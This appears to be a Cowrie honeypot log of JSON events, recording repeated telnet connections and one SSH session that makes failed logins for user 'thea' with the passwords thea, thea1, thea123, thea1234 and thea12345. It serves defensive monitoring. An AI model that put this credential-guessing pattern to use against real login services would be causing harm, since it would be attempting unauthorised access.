{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":47390,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b6b23c3aa07","protocol":"telnet","message":"New connection: 69.162.99.242:47390 (159.203.135.109:23) [session: 1b6b23c3aa07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:48.762399Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45362,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c8af7d32b9e","protocol":"telnet","message":"New connection: 69.162.99.242:45362 (159.203.135.109:23) [session: 7c8af7d32b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:49.050623Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"75210318a74c","protocol":"telnet","message":"New connection: 69.162.99.242:48136 (159.203.135.109:23) [session: 75210318a74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:49.155071Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49064,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3d879666e4","protocol":"telnet","message":"New connection: 69.162.99.242:49064 (159.203.135.109:23) [session: be3d879666e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:49.571502Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49980,"dst_ip":"159.203.135.109","dst_port":23,"session":"8273c061546f","protocol":"telnet","message":"New connection: 69.162.99.242:49980 (159.203.135.109:23) [session: 8273c061546f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:50.057463Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50318,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3bf3018373","protocol":"telnet","message":"New connection: 69.162.99.242:50318 (159.203.135.109:23) [session: 9e3bf3018373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:50.219638Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49310,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ddacc6b029","protocol":"telnet","message":"New connection: 69.162.99.242:49310 (159.203.135.109:23) [session: 94ddacc6b029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:50.732775Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52472,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac87f006481","protocol":"telnet","message":"New connection: 69.162.99.242:52472 (159.203.135.109:23) [session: 0ac87f006481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:51.114291Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54616,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35e61298876","protocol":"telnet","message":"New connection: 69.162.99.242:54616 (159.203.135.109:23) [session: e35e61298876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:52.074237Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55208,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5b35fdd43b","protocol":"telnet","message":"New connection: 69.162.99.242:55208 (159.203.135.109:23) [session: 2c5b35fdd43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:52.362407Z"}
{"eventid":"cowrie.session.closed","duration":30.918182373046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:52.414230Z","src_ip":"69.162.99.242","session":"c9c76ec98098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e6f7134017b","protocol":"telnet","message":"New connection: 69.162.99.242:56458 (159.203.135.109:23) [session: 0e6f7134017b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:52.994640Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57954,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c1719f2da7","protocol":"telnet","message":"New connection: 69.162.99.242:57954 (159.203.135.109:23) [session: 26c1719f2da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:53.689432Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58144,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f4b2007454","protocol":"telnet","message":"New connection: 69.162.99.242:58144 (159.203.135.109:23) [session: 38f4b2007454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:53.767086Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"146ac5fd61c3","protocol":"telnet","message":"New connection: 147.182.143.59:48044 (159.203.135.109:23) [session: 146ac5fd61c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:54.344437Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26de381d900","protocol":"telnet","message":"New connection: 69.162.99.242:33590 (159.203.135.109:23) [session: d26de381d900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:55.584587Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33872,"dst_ip":"159.203.135.109","dst_port":23,"session":"557bbb8d051c","protocol":"telnet","message":"New connection: 69.162.99.242:33872 (159.203.135.109:23) [session: 557bbb8d051c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:55.708565Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34346,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca28d8f5682f","protocol":"telnet","message":"New connection: 69.162.99.242:34346 (159.203.135.109:23) [session: ca28d8f5682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:55.962034Z"}
{"eventid":"cowrie.session.closed","duration":31.094130754470825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:57.406012Z","src_ip":"69.162.99.242","session":"45924029577f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"341979c933e6","protocol":"telnet","message":"New connection: 69.162.99.242:38320 (159.203.135.109:23) [session: 341979c933e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:57.457462Z"}
{"eventid":"cowrie.session.closed","duration":31.097981691360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:57.538509Z","src_ip":"69.162.99.242","session":"ef68d6c04c66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085981369018555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:57.835133Z","src_ip":"69.162.99.242","session":"2e28eaa8271d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41280,"dst_ip":"159.203.135.109","dst_port":23,"session":"262f325c33de","protocol":"telnet","message":"New connection: 69.162.99.242:41280 (159.203.135.109:23) [session: 262f325c33de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:58.667938Z"}
{"eventid":"cowrie.session.closed","duration":30.693517684936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:59.027017Z","src_ip":"69.162.99.242","session":"e3c6878fdc40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43924,"dst_ip":"159.203.135.109","dst_port":23,"session":"8427ba822cc3","protocol":"telnet","message":"New connection: 69.162.99.242:43924 (159.203.135.109:23) [session: 8427ba822cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:59.792633Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d14ac4ce0a58","protocol":"telnet","message":"New connection: 69.162.99.242:44332 (159.203.135.109:23) [session: d14ac4ce0a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:59.945668Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"087cd5afb3c1","protocol":"telnet","message":"New connection: 69.162.99.242:44366 (159.203.135.109:23) [session: 087cd5afb3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:59.959611Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53f1022ffbc","protocol":"telnet","message":"New connection: 69.162.99.242:46734 (159.203.135.109:23) [session: c53f1022ffbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:01.043458Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46786,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0ebca21c25","protocol":"telnet","message":"New connection: 69.162.99.242:46786 (159.203.135.109:23) [session: 5c0ebca21c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:01.063985Z"}
{"eventid":"cowrie.session.closed","duration":31.125173330307007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:01.123189Z","src_ip":"69.162.99.242","session":"cea2412c155a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":47134,"dst_ip":"159.203.135.109","dst_port":23,"session":"1051ea49ba2a","protocol":"telnet","message":"New connection: 69.162.99.242:47134 (159.203.135.109:23) [session: 1051ea49ba2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:01.216746Z"}
{"eventid":"cowrie.session.closed","duration":31.10409903526306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:01.971373Z","src_ip":"69.162.99.242","session":"f3c5fe3e2774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49000,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc4b7d1bfbe","protocol":"telnet","message":"New connection: 69.162.99.242:49000 (159.203.135.109:23) [session: bcc4b7d1bfbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:02.070380Z"}
{"eventid":"cowrie.session.closed","duration":31.121164798736572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:02.129265Z","src_ip":"69.162.99.242","session":"ca634c6a2011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50502,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4defc7599e6","protocol":"telnet","message":"New connection: 69.162.99.242:50502 (159.203.135.109:23) [session: c4defc7599e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:02.610223Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"54616f40672d","protocol":"telnet","message":"New connection: 69.162.99.242:50608 (159.203.135.109:23) [session: 54616f40672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:02.644048Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52774,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b28d47110f8","protocol":"telnet","message":"New connection: 69.162.99.242:52774 (159.203.135.109:23) [session: 9b28d47110f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:03.358368Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54060,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e98021715cf","protocol":"telnet","message":"New connection: 69.162.99.242:54060 (159.203.135.109:23) [session: 3e98021715cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:03.822611Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54478,"dst_ip":"159.203.135.109","dst_port":23,"session":"c54bf63ce1bf","protocol":"telnet","message":"New connection: 69.162.99.242:54478 (159.203.135.109:23) [session: c54bf63ce1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:04.030749Z"}
{"eventid":"cowrie.session.closed","duration":30.10034942626953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:04.037950Z","src_ip":"69.162.99.242","session":"0b07652184dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.103757858276367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:04.062067Z","src_ip":"69.162.99.242","session":"7cbf1a1853b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.900126934051514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:04.898643Z","src_ip":"45.58.127.90","session":"962a5f449c1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171520471572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.522073Z","src_ip":"69.162.99.242","session":"89c852a27c1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":16083,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8247f8e9e3","protocol":"ssh","message":"New connection: 213.209.159.56:16083 (159.203.135.109:22) [session: fd8247f8e9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.587827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.594476Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55654,"dst_ip":"159.203.135.109","dst_port":23,"session":"6894dee14390","protocol":"telnet","message":"New connection: 69.162.99.242:55654 (159.203.135.109:23) [session: 6894dee14390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.668131Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.677367Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58558,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0672e6de2c7","protocol":"telnet","message":"New connection: 69.162.99.242:58558 (159.203.135.109:23) [session: e0672e6de2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:05.861507Z"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea","message":"login attempt [thea/thea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:06.080349Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08112931251526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:06.539666Z","src_ip":"69.162.99.242","session":"e793188e5fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60128,"dst_ip":"159.203.135.109","dst_port":23,"session":"c655e6339f60","protocol":"telnet","message":"New connection: 69.162.99.242:60128 (159.203.135.109:23) [session: c655e6339f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:06.657507Z"}
{"eventid":"cowrie.session.closed","duration":31.103344917297363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:06.666829Z","src_ip":"69.162.99.242","session":"01a128d33948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa2de7e508f","protocol":"telnet","message":"New connection: 69.162.99.242:60882 (159.203.135.109:23) [session: dfa2de7e508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:06.979236Z"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea1","message":"login attempt [thea/thea1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:07.166063Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.115643978118896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:07.263202Z","src_ip":"69.162.99.242","session":"eb8bc7f5acf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33790,"dst_ip":"159.203.135.109","dst_port":23,"session":"6013ca23101d","protocol":"telnet","message":"New connection: 69.162.99.242:33790 (159.203.135.109:23) [session: 6013ca23101d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:07.463648Z"}
{"eventid":"cowrie.session.closed","duration":31.09017062187195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:07.666542Z","src_ip":"69.162.99.242","session":"8397353e6592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.04559326171875,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:07.929457Z","src_ip":"45.58.127.90","session":"bf886c226bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295294284820557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:08.051052Z","src_ip":"69.162.99.242","session":"84d05f7ce860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0b939b766c","protocol":"telnet","message":"New connection: 69.162.99.242:35850 (159.203.135.109:23) [session: 9a0b939b766c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:08.226674Z"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea123","message":"login attempt [thea/thea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:08.252228Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37306,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c6eaab71382","protocol":"telnet","message":"New connection: 69.162.99.242:37306 (159.203.135.109:23) [session: 1c6eaab71382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:08.830495Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38274,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea681ffeba84","protocol":"telnet","message":"New connection: 69.162.99.242:38274 (159.203.135.109:23) [session: ea681ffeba84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:09.296319Z"}
{"eventid":"cowrie.session.closed","duration":14.994594097137451,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:09.338904Z","src_ip":"147.182.143.59","session":"146ac5fd61c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea1234","message":"login attempt [thea/thea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:09.345805Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38620,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13cb62b0638","protocol":"telnet","message":"New connection: 69.162.99.242:38620 (159.203.135.109:23) [session: b13cb62b0638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:09.448833Z"}
{"eventid":"cowrie.session.closed","duration":31.105571031570435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.138957Z","src_ip":"69.162.99.242","session":"3fc30c2ecb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40238,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb0f804af8b","protocol":"telnet","message":"New connection: 69.162.99.242:40238 (159.203.135.109:23) [session: dcb0f804af8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.243286Z"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea12345","message":"login attempt [thea/thea12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.430893Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":39030,"dst_ip":"159.203.135.109","dst_port":23,"session":"e389ca623da0","protocol":"telnet","message":"New connection: 69.162.99.242:39030 (159.203.135.109:23) [session: e389ca623da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.646940Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":39306,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2d34a6d281","protocol":"telnet","message":"New connection: 69.162.99.242:39306 (159.203.135.109:23) [session: 4d2d34a6d281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.786971Z"}
{"eventid":"cowrie.session.closed","duration":38.92011594772339,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:10.891745Z","src_ip":"45.58.127.90","session":"cdd00a6d16db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106226205825806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.103887Z","src_ip":"69.162.99.242","session":"5a8370355add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.548314Z","src_ip":"213.209.159.56","session":"fd8247f8e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72962760925293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.584607Z","src_ip":"69.162.99.242","session":"a956168456b5","protocol":"telnet"}
